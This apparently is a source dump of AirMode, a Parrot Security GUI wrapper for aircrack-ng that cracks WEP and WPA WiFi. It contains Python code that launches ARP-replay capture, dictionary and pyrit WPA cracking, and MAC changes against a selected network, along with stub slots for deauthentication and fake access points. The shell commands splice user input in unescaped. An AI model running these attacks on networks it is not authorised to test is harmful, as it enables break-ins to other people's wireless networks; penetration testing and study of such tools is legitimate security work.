174 | void Main_window::slot_crack_wpa_rainbow_tables()
175 | {
176 |
177 | }
178 |
179 |
180 | void Main_window::slot_wep_start_hirte_adhoc()
181 | {
182 |
183 | }
184 |
185 |
186 | void Main_window::slot_wep_start_hirte_ap()
187 | {
188 |
189 | }
190 |
191 |
192 | void Main_window::slot_wep_start_latte()
193 | {
194 |
195 | }
196 |
197 |
198 |
199 |
200 |
201 | void Main_window::slot_mac_change()
202 | {
203 |
204 | }
205 |
206 |
207 | void Main_window::slot_gath_int()
208 | {
209 |
210 | }
211 |
212 |
213 |
214 |
215 |
216 | void Main_window::slot_save_ap_name()
217 | {
218 |
219 | }
220 |
221 |
222 | void Main_window::slot_save_mon()
223 | {
224 |
225 | }
226 |
227 |
228 | void Main_window::slot_save_mon_mac()
229 | {
230 |
231 | }
232 |
233 |
234 | void Main_window::slot_line_crack_wep_log()
235 | {
236 |
237 | }
238 |
239 |
240 | void Main_window::slot_line_crack_wpa_dictionary()
241 | {
242 |
243 | }
244 |
245 |
246 | void Main_window::slot_line_crack_wpa_dictionary_pyrit()
247 | {
248 |
249 | }
250 |
251 |
252 | void Main_window::slot_line_crack_wpa_log_pyrit()
253 | {
254 |
255 | }
256 |
257 |
258 | void Main_window::slot_line_crack_wpa_rainbow_tables_file()
259 | {
260 |
261 | }
262 |
263 |
264 | void Main_window::slot_line_gath_logs()
265 | {
266 |
267 | }
268 |
269 |
270 | void Main_window::slot_line_mac_change_int()
271 | {
272 |
273 | }
274 |
275 |
276 | void Main_window::slot_line_mac_change_mac()
277 | {
278 |
279 | }
280 |
281 |
282 | void Main_window::slot_line_wep_mac_cfrag()
283 | {
284 |
285 | }
286 |
287 |
288 | void Main_window::slot_line_wpa_mac_hand()
289 | {
290 |
291 | }
292 |
293 |
294 | void Main_window::slot_spin_wep_wired_req()
295 | {
296 |
297 | }
298 |
299 |
300 | void Main_window::slot_spin_wep_wireless_req()
301 | {
302 |
303 | }
304 |
305 |
306 | void Main_window::slot_line_wpa_deauth_hand()
307 | {
308 |
309 | }
310 |
311 |
312 | void Main_window::slot_start_sniffing()
313 | {
314 |
315 | }
316 |
317 |
318 | void Main_window::slot_autoload_ap_info()
319 | {
320 |
321 | }
322 |
323 |
324 | void Main_window::slot_gath_clean()
325 | {
326 |
327 | }
328 |
329 |
330 | void Main_window::slot_enable_ip_forward()
331 | {
332 |
333 | }
334 |
335 |
336 | void Main_window::slot_fake_ap_start()
337 | {
338 |
339 | }
340 |
341 |
342 | void Main_window::slot_save_ap_mac()
343 | {
344 |
345 | }
346 |
347 |
348 | void Main_window::slot_save_ap_chan()
349 | {
350 |
351 | }
352 |
353 |
354 | void Main_window::slot_reload_interfaces()
355 | {
356 |
357 | }
358 |
359 |
360 | void Main_window::slot_autoload_victim_clients()
361 | {
362 |
363 | }
364 |
365 |
366 |
367 |
368 | void Main_window::slot_rescan_networks()
369 | {
370 |
371 | }
372 |
373 |
374 | void Main_window::slot_interface_selected()
375 | {
376 |
377 | }
378 |
379 |
380 | void Main_window::slot_network_selected()
381 | {
382 |
383 | }
384 |
385 |
386 | void Main_window::slot_disable_ip_forward()
387 | {
388 |
389 | }
390 |
391 |
392 | void Main_window::slot_random_mac()
393 | {
394 |
395 | }
396 |
397 |
398 | void Main_window::slot_line_database()
399 | {
400 |
401 | }
402 |
403 |
404 | void Main_window::slot_database_delete()
405 | {
406 |
407 | }
408 |
409 |
410 | void Main_window::slot_database_reload()
411 | {
412 |
413 | }
414 |
415 |
416 | void Main_window::slot_database_save()
417 | {
418 |
419 | }
420 |
421 |
422 | void Main_window::slot_database_add()
423 | {
424 |
425 | }
426 |
427 |
428 | void Main_window::slot_database_changed()
429 | {
430 |
431 | }
432 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all.deb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParrotSec/airmode/9230f46ddcc268125d9340031cc706d70efc598e/airmode_0.4-parrot0_all.deb
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/DEBIAN/control:
--------------------------------------------------------------------------------
1 | Package: airmode
2 | Version: 0.4-parrot0
3 | Architecture: all
4 | Maintainer: Lorenzo EclipseSparl Faletra
5 | Installed-Size: 501
6 | Depends: pyqt4-dev-tools, aircrack-ng, reaver, cowpatty, pyrit, python
7 | Recommends: wifi-honey
8 | Section: wireless
9 | Priority: optional
10 | Description: AirMode - WiFi cracking framework (aircrack interface)
11 | Welcome to AirMode
12 | Do you remember Gerix Wifi Cracker? We decided to fork and resume it in order
13 | to continue providing this fantastic software to everyone.
14 | AirMode is a GUI that can help you to use the Aircrack framework.
15 | .
16 | Frozenbox Network (www.frozenbox.org)
17 | Parrot Security OS (www.parrotsec.org)
18 | The tool is under GPL 2 License.
19 | enJoy!
20 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/bin/airmode:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 |
3 | cd /usr/share/airmode
4 | python ./airmode.py
5 | service NetworkManager restart
6 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/airmode/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 | {description}
294 | Copyright (C) {year} {fullname}
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | {signature of Ty Coon}, 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/airmode/Makefile:
--------------------------------------------------------------------------------
1 | Compile:
2 | pyuic4 airmode.ui -o airmode_gui.py
3 |
4 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/airmode/README.md:
--------------------------------------------------------------------------------
1 | airmode
2 | =======
3 |
4 | Welcome to AirMode
5 | Do you remember Gerix Wifi Cracker? We decided to fork and resume it in order
6 | to continue providing this fantastic software to everyone.
7 | AirMode is a GUI that can help you to use the Aircrack framework.
8 |
9 | Frozenbox Network (www.frozenbox.org)
10 | Parrot Security OS (www.parrotsec.org)
11 | The tool is under GPL 2 License.
12 | enJoy!
13 |
14 |
15 | AirMode Developers
16 | ==================
17 |
18 |
19 | Lisetta "Sheireen" Ferrero
20 | sheireen@frozenbox.org
21 | www.frozenbox.org
22 |
23 | Lorenzo "EclipseSpark" Faletra
24 | eclipse@frozenbox.org
25 | www.frozenbox.org
26 |
27 |
28 |
29 |
30 | Original Gerix Developers
31 | =========================
32 |
33 |
34 | Emanuele Gentili
35 | emgent@backtrack-linux.org
36 | Gerix.IT CSO and Partner
37 | http://www.gerix.it
38 |
39 | Emanuele Acri
40 | crossbower@backtrack-linux.org
41 | Gerix.IT Penetration Tester
42 | http://www.backtrack.it/~crossbower/
43 |
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/airmode/airmode-banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParrotSec/airmode/9230f46ddcc268125d9340031cc706d70efc598e/airmode_0.4-parrot0_all/usr/share/airmode/airmode-banner.png
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/airmode/airmode-logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParrotSec/airmode/9230f46ddcc268125d9340031cc706d70efc598e/airmode_0.4-parrot0_all/usr/share/airmode/airmode-logo.png
--------------------------------------------------------------------------------
/airmode_0.4-parrot0_all/usr/share/airmode/airmode.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 | import time
6 | import re
7 | import commands
8 | import glob
9 | import sqlite3
10 | import binascii
11 |
12 | from threading import Thread
13 | from PyQt4 import QtGui, QtCore
14 | from airmode_gui import Ui_Main_window
15 | #from PyQt4.QtGui import QApplication
16 | from PyQt4.QtGui import QMainWindow
17 | from airmode_config import *
18 |
19 | #
20 | # Hex key to ascii
21 | #
22 | def key_to_ascii(key):
23 | ascii_string = ''
24 |
25 | splitted = key.split(':')
26 |
27 | for i in splitted:
28 | if re.match("^[0-9A-Fa-f]{2}$", i):
29 | ascii_string = ascii_string + binascii.a2b_hex(i)
30 |
31 | return ascii_string
32 |
33 | #
34 | # Thread for the asyncronous execution
35 | # of commands
36 | #
37 | class Command_thread(Thread):
38 | def __init__ (self, command, use_term = True, callback = None):
39 | Thread.__init__(self)
40 | self.command = command
41 | self.use_term = use_term
42 | self.callback = callback
43 |
44 | def run(self):
45 |
46 | # exec command
47 | print (self.command)
48 |
49 | # use terminal emulator?
50 | if self.use_term:
51 | commands.getstatusoutput(def_term + " -e 'bash -c \"" + self.command + "; read; \"'")
52 |
53 | else:
54 | commands.getstatusoutput(self.command)
55 |
56 | # callback
57 | if hasattr(self.callback, '__call__'):
58 | self.callback()
59 |
60 | #
61 | # Retarded Kill
62 | #
63 | class RetardedKill(Thread):
64 | def __init__ (self, prog, sec):
65 | Thread.__init__(self)
66 | self.prog = prog
67 | self.sec = sec
68 |
69 | def run(self):
70 | time.sleep(self.sec)
71 | commands.getstatusoutput("killall " + self.prog)
72 |
73 | #
74 | # For the callbacks function
75 | # extend Main_window class (that contains the GUI)
76 | #
77 | class Main_window_ex(QMainWindow, Ui_Main_window):
78 | # Print the output in the GUI with a timestamp and with exit_code
79 | # this function should be used instead of other form of output printing
80 | #
81 | def __init__(self, parent = None):
82 | """
83 | Default Constructor. It can receive a top window as parent.
84 | """
85 | QMainWindow.__init__(self, parent)
86 | self.setupUi(self)
87 |
88 | def output(self, out_text, exit_code):
89 | # print the output in the text_output widget (QTextEdit)
90 | # success
91 | if exit_code==0:
92 | self.text_output.append( '' + time.strftime("%H:%M:%S", time.localtime()) + ' - ' + out_text + ' [Success]')
93 | # failure
94 | else:
95 | self.text_output.append( '' + time.strftime("%H:%M:%S", time.localtime()) + ' - ' + out_text + ' [Failure]')
96 |
97 | #
98 | # Print the output in the GUI with a timestamp but without exit_code
99 | # this function should be used instead of other form of output printing
100 | #
101 | def direct_output(self, out_text):
102 | # print the output in the text_output widget (QTextEdit)
103 | self.text_output.append( '' + time.strftime("%H:%M:%S", time.localtime()) + ' - ' + out_text)
104 |
105 | #
106 | # Check if the requested options are consistent
107 | #
108 | def check_options(self, options):
109 |
110 | if self.periferica_opt & options > 0:
111 | if self.periferica == "":
112 | self.output("no interface selected", 1)
113 | return 0
114 |
115 | if self.mymon_opt & options > 0:
116 | if self.mymon == "":
117 | self.output("monitor interface is not set", 1)
118 | return 0
119 |
120 | if self.mymac_opt & options > 0:
121 | if self.mymac == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.mymac):
122 | self.output("interface mac is not set (or wrong)", 1)
123 | return 0
124 |
125 | if self.ac_opt & options > 0:
126 | if self.ac == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.ac):
127 | self.output("no network selected", 1)
128 | return 0
129 |
130 | if self.canale_opt & options > 0:
131 | if self.canale == "" or self.canale < 0:
132 | self.output("no channel selected", 1)
133 | return 0
134 |
135 | if self.essid_opt & options > 0:
136 | if self.essid == "":
137 | self.output("no network selected", 1)
138 | return 0
139 |
140 | if self.mval_opt & options > 0:
141 | if self.mval == "" or self.mval < 1:
142 | self.output("wrong arp request number", 1)
143 | return 0
144 |
145 | if self.nval_opt & options > 0:
146 | if self.nval == "" or self.nval < 1:
147 | self.output("wrong arp request number", 1)
148 | return 0
149 |
150 | if self.ac_victim_opt & options > 0:
151 | if self.ac_victim == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.ac_victim):
152 | self.output("wrong victim mac", 1)
153 | return 0
154 |
155 | if self.ac_victim_wpa_opt & options > 0:
156 | if self.ac_victim_wpa == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.ac_victim_wpa):
157 | self.output("wrong victim mac", 1)
158 | return 0
159 |
160 | if self.deauth_WPA_num_opt & options > 0:
161 | if self.deauth_WPA_num == "" or self.deauth_WPA_num < 1:
162 | self.output("wrong deauth number", 1)
163 | return 0
164 |
165 | if self.dfile_opt & options > 0:
166 | if self.dfile == "":
167 | self.output("dictionary is not set", 1)
168 | return 0
169 |
170 | if self.dfile2_opt & options > 0:
171 | if self.dfile2 == "":
172 | self.output("dictionary is not set", 1)
173 | return 0
174 |
175 | if self.change_mac_int_opt & options > 0:
176 | if self.change_mac_int == "":
177 | self.output("interface name is not set", 1)
178 | return 0
179 |
180 | if self.change_mac_mac_opt & options > 0:
181 | if self.change_mac_mac == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.change_mac_mac):
182 | self.output("wrong mac address", 1)
183 | return 0
184 |
185 | if self.rtablesfile1_opt & options > 0:
186 | if self.rtablesfile1 == "":
187 | self.output("rainbow tables files is not set", 1)
188 | return 0
189 |
190 | if self.intf_mode_opt & options > 0:
191 | if self.intf_mode != 'Monitor':
192 | self.output("interface not in monitor mode", 1)
193 | return 0
194 |
195 | return 1
196 |
197 | #
198 | # Capture replay packets (ARP request)
199 | #
200 | def slot_wep_capture_req(self):
201 | if self.check_options(self.ac_opt | self.mval_opt | self.nval_opt | self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
202 | pass
203 | else:
204 | command = 'aireplay-ng -2 -p 0841 -b ' + self.ac + ' -c FF:FF:FF:FF:FF:FF -f 1 -m ' + self.mval + ' -n ' + self.nval + ' -h ' + self.mymac + ' ' + self.mymon
205 | #command = 'aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b ' + self.ac + ' -h ' + self.mymac + ' ' + self.mymon
206 | ct = Command_thread(command)
207 | ct.start()
208 |
209 | self.direct_output('ARP request attack: Capture replay packets with ' + self.mymon)
210 |
211 |
212 | #
213 | # Crack WPA password dictionary
214 | #
215 | def slot_crack_wpa_aircrack(self):
216 | if self.check_options(self.ac_opt | self.dfile_opt) == 0:
217 | pass
218 | else:
219 | command = 'aircrack-ng -w ' + self.dfile + ' -b ' + self.ac + ' ' + config_dir + '*.cap | tee ' + config_dir + 'aircrack-log.txt'
220 | ct = Command_thread(command, True, self.add_key_to_database)
221 | ct.start()
222 |
223 | self.direct_output("Cracking WPA password with dictionary launched (remember to save database's changes)")
224 |
225 |
226 | #
227 | # Crack WPA password pyrit
228 | #
229 | def slot_crack_wpa_pyrit(self):
230 | if self.check_options(self.essid_opt | self.dfile2_opt) == 0:
231 | pass
232 | else:
233 | command = 'pyrit -e "' + self.essid + '" -i "' + self.dfile2 + '" -r "' + config_dir + '*.cap" attack_passthrough'
234 | ct = Command_thread(command)
235 | ct.start()
236 |
237 | self.direct_output('Cracking WPA password with pyrit launched')
238 |
239 | #
240 | # Restore original MAC Address
241 | #
242 | def slot_mac_restore(self):
243 | if self.check_options(self.change_mac_int_opt) == 0:
244 | pass
245 | else:
246 | command = 'ifconfig ' + self.change_mac_int + ' down hw ether `cat ' + config_dir + '.macaddress-backup`; ifconfig ' + self.change_mac_int + ' up'
247 | ct = Command_thread(command, False)
248 | ct.start()
249 |
250 | self.direct_output('Restored original MAC address on interface ' + self.change_mac_int)
251 |
252 | #
253 | # Put the card in monitor mode
254 | #
255 | def slot_monitor(self):
256 |
257 | if self.check_options(self.periferica_opt) == 0:
258 | pass
259 |
260 | elif self.intf_mode == "Monitor":
261 | status = commands.getstatusoutput('airmon-ng stop ' + self.periferica)
262 | if status[0] != 0:
263 | self.output(status[1], status[0])
264 | else:
265 | self.output("Monitor off: " + self.periferica, status[0])
266 | else:
267 | status = commands.getstatusoutput('airmon-ng check kill && echo y | airmon-ng start ' + self.periferica)
268 | if status[0] != 0:
269 | self.output(status[1], status[0])
270 | else:
271 | self.output("Monitor on: " + self.periferica, status[0])
272 | self.slot_reload_interfaces()
273 |
274 | #
275 | # Start Client Fragmentation Attack
276 | #
